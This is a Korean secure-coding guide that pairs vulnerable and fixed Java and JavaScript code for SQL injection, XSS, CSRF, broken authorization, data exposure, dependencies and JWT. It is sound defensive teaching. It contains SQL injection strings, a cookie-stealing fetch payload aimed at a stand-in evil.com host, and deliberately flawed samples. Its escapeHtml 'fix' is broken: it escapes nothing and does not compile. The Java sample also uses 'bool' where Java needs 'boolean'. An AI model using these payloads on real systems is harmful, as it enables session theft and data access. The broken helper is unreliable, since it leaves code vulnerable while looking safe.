들어가며
보안 문제는 추상적인 개념으로만 이해하면 실무에서 놓치기 쉬움.
이 글은 Java(Spring Boot 기반 백엔드) 와 JavaScript(Node.js / 브라우저) 코드를 직접 비교하면서, 각 공격 유형이 어떻게 발생하고 어떻게 막는지를 구체적으로 정리함.
구성: 취약한 코드 → 공격 시나리오 → 수정된 코드 → 핵심 원칙
1. SQL Injection
취약한 코드
// Java — JDBC 직접 문자열 연결 (위험)
public User findUser(String username) {
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// username = "' OR '1'='1" 이면 전체 유저 노출
return jdbcTemplate.queryForObject(sql, userRowMapper);
}
Java
복사
// Node.js — mysql2 문자열 연결 (위험)
async function findUser(username) {
const sql = `SELECT * FROM users WHERE username = '${username}'`;
// username = "' OR '1'='1'--" 이면 인증 우회
const [rows] = await db.query(sql);
return rows[0];
}
JavaScript
복사
공격 시나리오
수정된 코드
// Java — PreparedStatement 사용 (안전)
public User findUser(String username) {
String sql = "SELECT * FROM users WHERE username = ?";
return jdbcTemplate.queryForObject(sql, userRowMapper, username);
// ? 에 값이 바인딩될 때 SQL 구문으로 해석되지 않음
}
Java
복사
// Node.js — Parameterized Query 사용 (안전)
async function findUser(username) {
const sql = 'SELECT * FROM users WHERE username = ?';
const [rows] = await db.query(sql, [username]);
// 배열로 넘긴 값은 드라이버가 자동 이스케이프
return rows[0];
}
JavaScript
복사
JPA / ORM 사용 시 주의점
// 위험 — JPQL에 직접 문자열 삽입
@Query("SELECT u FROM User u WHERE u.name = '" + name + "'")
List<User> findByName(String name);
// 안전 — Named Parameter 사용
@Query("SELECT u FROM User u WHERE u.name = :name")
List<User> findByName(@Param("name") String name);
Java
복사
핵심: 사용자 입력을 SQL 구문과 절대 직접 결합하지 않음. 항상 바인딩 파라미터 사용.
2. XSS (Cross-Site Scripting)
취약한 코드
// 브라우저 — innerHTML에 직접 삽입 (위험)
function renderComment(comment) {
document.getElementById('comment-box').innerHTML = comment;
// comment = "<script>fetch('https://evil.com?c='+document.cookie)</script>"
// → 스크립트 실행 → 세션 쿠키 탈취
}
JavaScript
복사
// Spring MVC — 이스케이프 없이 응답 (위험)
@GetMapping("/search")
@ResponseBody
public String search(@RequestParam String q) {
return "<h2>검색어: " + q + "</h2>";
// q = "<script>악성코드</script>" 그대로 반환
}
Java
복사
수정된 코드
// 브라우저 — textContent 또는 직접 이스케이프 (안전)
function renderComment(comment) {
const box = document.getElementById('comment-box');
box.textContent = comment; // HTML 태그를 문자 그대로 출력
}
// 또는 이스케이프 함수 사용
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
JavaScript
복사
// Spring — Thymeleaf는 기본적으로 자동 이스케이프
// th:text 사용 시 안전, th:utext는 위험
// <p th:text="${userInput}">안전</p>
// <p th:utext="${userInput}">위험 — 절대 미사용</p>
// API 응답 시 HtmlUtils 활용
import org.springframework.web.util.HtmlUtils;
@GetMapping("/search")
@ResponseBody
public String search(@RequestParam String q) {
String safe = HtmlUtils.htmlEscape(q);
return "<h2>검색어: " + safe + "</h2>";
}
Java
복사
Content Security Policy (CSP) 헤더 설정
// Spring Security — CSP 헤더 추가
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self'; " + // 인라인 스크립트 차단
"style-src 'self'; " +
"img-src 'self' data:"
)
)
);
return http.build();
}
}
Java
복사
// Express.js — helmet 미들웨어로 CSP 설정
import helmet from 'helmet';
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // 외부 스크립트 차단
styleSrc: ["'self'"],
imgSrc: ["'self'", 'data:']
}
}));
JavaScript
복사
핵심: innerHTML, document.write는 사용자 입력에 절대 금지. textContent 또는 이스케이프 후 사용. CSP 헤더로 2차 방어선 구축.
3. CSRF (Cross-Site Request Forgery)
취약한 코드
// Spring Security — CSRF 비활성화 (위험)
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.csrf(csrf -> csrf.disable()); // REST API라서 껐는데...
return http.build();
}
}
// → 인증된 사용자의 세션을 가로채 임의 요청 가능
Java
복사
수정된 코드
// 방법 1: JWT + Stateless → CSRF 위협 자체가 없음 (쿠키 세션 미사용)
// Authorization: Bearer <token> 헤더로 인증 → 타 사이트가 헤더 설정 불가
// 방법 2: 세션 기반이면 CSRF Token 필수 적용
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
// 클라이언트가 쿠키에서 토큰 읽어 X-XSRF-TOKEN 헤더로 전송
);
Java
복사
// 프론트엔드 — axios에서 CSRF 토큰 자동 포함
import axios from 'axios';
// 쿠키에서 XSRF-TOKEN 읽어 헤더에 자동 첨부
axios.defaults.xsrfCookieName = 'XSRF-TOKEN';
axios.defaults.xsrfHeaderName = 'X-XSRF-TOKEN';
axios.defaults.withCredentials = true;
// 이후 모든 요청에 자동 포함됨
await axios.post('/api/transfer', { amount: 100 });
JavaScript
복사
SameSite 쿠키 설정
// Spring Boot — 쿠키 SameSite 설정
@Bean
public CookieSameSiteSupplier cookieSameSiteSupplier() {
return CookieSameSiteSupplier.ofStrict(); // 타 사이트 요청에 쿠키 미전송
// Lax: GET 허용 / Strict: 완전 차단 / None: 항상 전송(HTTPS 필수)
}
Java
복사
핵심: REST API는 JWT(Stateless)로 CSRF 자체를 무력화. 세션 기반이면 CSRF Token + SameSite=Strict 병행.
4. 인증·인가 취약점 (Broken Authentication & Authorization)
취약한 코드
// 수평적 권한 상승 — userId를 파라미터로 그대로 사용 (위험)
@GetMapping("/orders/{userId}")
public List<Order> getOrders(@PathVariable Long userId) {
return orderService.findByUserId(userId);
// /orders/1 → /orders/2 로 바꾸면 타인 주문 조회 가능 (IDOR)
}
Java
복사
// Node.js — 역할 검증 없이 관리자 API 노출 (위험)
app.delete('/admin/users/:id', async (req, res) => {
await User.findByIdAndDelete(req.params.id);
// 로그인만 하면 누구나 유저 삭제 가능
res.json({ success: true });
});
JavaScript
복사
수정된 코드
// 세션에서 현재 사용자 ID를 직접 가져와 검증 (안전)
@GetMapping("/orders/mine")
public List<Order> getMyOrders(@AuthenticationPrincipal UserDetails userDetails) {
Long userId = ((CustomUserDetails) userDetails).getId();
return orderService.findByUserId(userId);
// URL 파라미터 조작 불가 — 항상 본인 데이터만 조회
}
// 관리자 전용 엔드포인트 — 어노테이션으로 역할 제한
@PreAuthorize("hasRole('ADMIN')")
@DeleteMapping("/admin/users/{id}")
public void deleteUser(@PathVariable Long id) {
userService.delete(id);
}
Java
복사
// Node.js — 미들웨어로 역할 검증 (안전)
function requireRole(role) {
return (req, res, next) => {
if (!req.user || req.user.role !== role) {
return res.status(403).json({ error: 'Forbidden' });
}
next();
};
}
app.delete('/admin/users/:id',
authenticate, // 먼저 인증
requireRole('admin'), // 그 다음 역할 검증
async (req, res) => {
await User.findByIdAndDelete(req.params.id);
res.json({ success: true });
}
);
JavaScript
복사
핵심: URL 파라미터를 신뢰하지 말 것. 현재 세션/토큰에서 사용자 정보를 직접 추출하고, 모든 엔드포인트에 역할 검증 적용.
5. 민감 정보 노출 (Sensitive Data Exposure)
취약한 코드
// 비밀번호 평문 저장 (최악)
user.setPassword(inputPassword); // 그대로 DB에 저장
// 로그에 민감 정보 출력 (위험)
log.info("User login: id={}, password={}", userId, password);
// 에러 메시지에 내부 정보 노출
@ExceptionHandler(Exception.class)
public ResponseEntity<String> handleError(Exception e) {
return ResponseEntity.status(500).body(e.getMessage());
// Stack trace, DB 구조 등이 외부에 노출될 수 있음
}
Java
복사
// 응답에 민감 필드 그대로 반환 (위험)
app.get('/users/:id', async (req, res) => {
const user = await User.findById(req.params.id);
res.json(user); // password, salt, internalNotes 등 전부 반환
});
JavaScript
복사
수정된 코드
// BCrypt으로 패스워드 해싱 (안전)
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12); // cost factor 12
String hashed = encoder.encode(rawPassword);
user.setPassword(hashed);
// 로그인 시 검증
bool matches = encoder.matches(inputPassword, user.getPassword());
// 로그 — 민감 정보 제외
log.info("User login attempt: id={}", userId); // 비밀번호 절대 미기록
// 에러 핸들러 — 내부 정보 숨김
@ExceptionHandler(Exception.class)
public ResponseEntity<Map<String, String>> handleError(Exception e) {
log.error("Internal error", e); // 서버 로그에만 기록
return ResponseEntity.status(500)
.body(Map.of("error", "서버 오류가 발생했습니다")); // 클라이언트엔 추상화
}
Java
복사
// 응답 시 민감 필드 제거 (안전)
app.get('/users/:id', authenticate, async (req, res) => {
const user = await User.findById(req.params.id)
.select('-password -salt -__v'); // Mongoose: 특정 필드 제외
res.json(user);
});
// 또는 DTO 패턴으로 명시적 화이트리스트
function toUserDTO(user) {
return {
id: user.id,
name: user.name,
email: user.email
// password, role, internalData 등은 의도적으로 포함 안 함
};
}
JavaScript
복사
핵심: 비밀번호는 반드시 BCrypt/Argon2로 해싱. 로그엔 절대 평문 기록 금지. 응답은 필요한 필드만 화이트리스트 방식으로 반환.
6. 의존성(Dependency) 취약점
취약한 상황
// package.json — 버전 고정 안 됨
{
"dependencies": {
"lodash": "^4.0.0", // 취약한 버전 포함 가능
"log4js": "*" // 최악 — 아무 버전이나 설치
}
}
JSON
복사
<!-- pom.xml — 오래된 버전 방치 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version> <!-- Log4Shell 취약 버전 -->
</dependency>
XML
복사
수정 및 관리 방법
# Node.js — 취약점 감사 및 수정
npm audit # 취약점 목록 확인
npm audit fix # 자동 수정 가능한 것 수정
npm audit fix --force # 강제 (메이저 업그레이드 포함, 주의)
# 의존성 버전 고정
npm shrinkwrap # npm-shrinkwrap.json 생성 (CI/CD에 고정)
Bash
복사
# Java Maven — OWASP Dependency Check 플러그인
# pom.xml에 추가
# <plugin>
# <groupId>org.owasp</groupId>
# <artifactId>dependency-check-maven</artifactId>
# <version>9.0.0</version>
# </plugin>
mvn dependency-check:check # CVE 데이터베이스와 대조하여 취약 의존성 리포트
Bash
복사
// GitHub Actions — 자동 의존성 보안 체크
// .github/workflows/security.yml
// name: Security Audit
// on: [push, pull_request]
// jobs:
// audit:
// runs-on: ubuntu-latest
// steps:
// - uses: actions/checkout@v4
// - run: npm audit --audit-level=high
// # high 이상 취약점 발견 시 빌드 실패
JavaScript
복사
핵심: 버전은 반드시 고정. CI/CD 파이프라인에 npm audit / dependency-check 통합. GitHub Dependabot 활성화로 자동 PR 받기.
7. JWT 취약점
취약한 코드
// 알고리즘 None 공격 — 서명 검증 생략
const decoded = jwt.verify(token, secret, {
algorithms: ['HS256', 'none'] // 'none' 포함 시 서명 없는 토큰 허용
});
// 약한 시크릿 키
const token = jwt.sign(payload, 'secret'); // 무차별 대입으로 쉽게 크랙
JavaScript
복사
// 알고리즘 미검증 (위험)
Claims claims = Jwts.parserBuilder()
.setSigningKey(key)
.build()
.parseClaimsJws(token)
.getBody(); // 알고리즘 변조 공격에 취약할 수 있음
Java
복사
수정된 코드
// Node.js — 알고리즘 명시 고정 + 강력한 시크릿 (안전)
import crypto from 'crypto';
// 충분히 긴 랜덤 시크릿 생성 (최초 1회)
const SECRET = crypto.randomBytes(64).toString('hex'); // 환경변수에 저장
function issueToken(payload) {
return jwt.sign(payload, SECRET, {
algorithm: 'HS256', // 알고리즘 고정
expiresIn: '1h', // 만료 시간 필수
issuer: 'myapp' // 발급자 검증용
});
}
function verifyToken(token) {
return jwt.verify(token, SECRET, {
algorithms: ['HS256'], // none, RS256 등 다른 알고리즘 거부
issuer: 'myapp'
});
}
JavaScript
복사
// Java — jjwt 라이브러리 안전한 사용
import io.jsonwebtoken.*;
import io.jsonwebtoken.security.Keys;
public class JwtUtil {
// 256비트 이상 키 사용
private final SecretKey key = Keys.secretKeyFor(SignatureAlgorithm.HS256);
public String generateToken(String userId) {
return Jwts.builder()
.setSubject(userId)
.setIssuedAt(new Date())
.setExpiration(new Date(System.currentTimeMillis() + 3600_000)) // 1시간
.signWith(key) // 알고리즘 자동 결정 (키 길이 기반)
.compact();
}
public String validateToken(String token) {
return Jwts.parserBuilder()
.setSigningKey(key)
.build()
.parseClaimsJws(token) // 서명·만료 모두 자동 검증
.getBody()
.getSubject();
}
}
Java
복사
핵심: 알고리즘은 명시적으로 고정 ('none' 절대 불허). 시크릿 키는 최소 256비트 랜덤값. 만료 시간 반드시 설정. 키는 환경변수로 관리.
공격 유형별 방어 체크리스트
공격 유형 | Java | JavaScript | 공통 |
SQL Injection | PreparedStatement, JPA @Param | Parameterized Query | ORM 사용 |
XSS | HtmlUtils.htmlEscape, Thymeleaf th:text | textContent, DOMPurify | CSP 헤더 |
CSRF | CookieCsrfTokenRepository | axios xsrf 설정 | SameSite=Strict |
인증·인가 | @PreAuthorize, @AuthenticationPrincipal | requireRole 미들웨어 | JWT Stateless |
민감 정보 | BCrypt, 에러 추상화 | DTO 화이트리스트 | 로그 마스킹 |
의존성 취약점 | OWASP dependency-check | npm audit | Dependabot |
JWT | Keys.secretKeyFor | algorithms 고정 | 만료 시간 설정 |

